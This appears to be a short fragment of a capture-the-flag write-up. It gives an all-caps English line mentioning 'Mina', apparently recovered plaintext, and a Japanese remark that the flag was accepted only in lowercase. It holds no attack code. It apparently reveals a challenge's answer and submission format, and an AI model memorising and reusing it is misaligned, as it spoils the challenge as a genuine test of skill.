MY NOTES, AS THEY MAY REFRESH MY MEMORY WHEN I TALK OVER MY TRAVELS WITH MINA.

※flagは大文字だと通らなかったので、小文字にして通しました。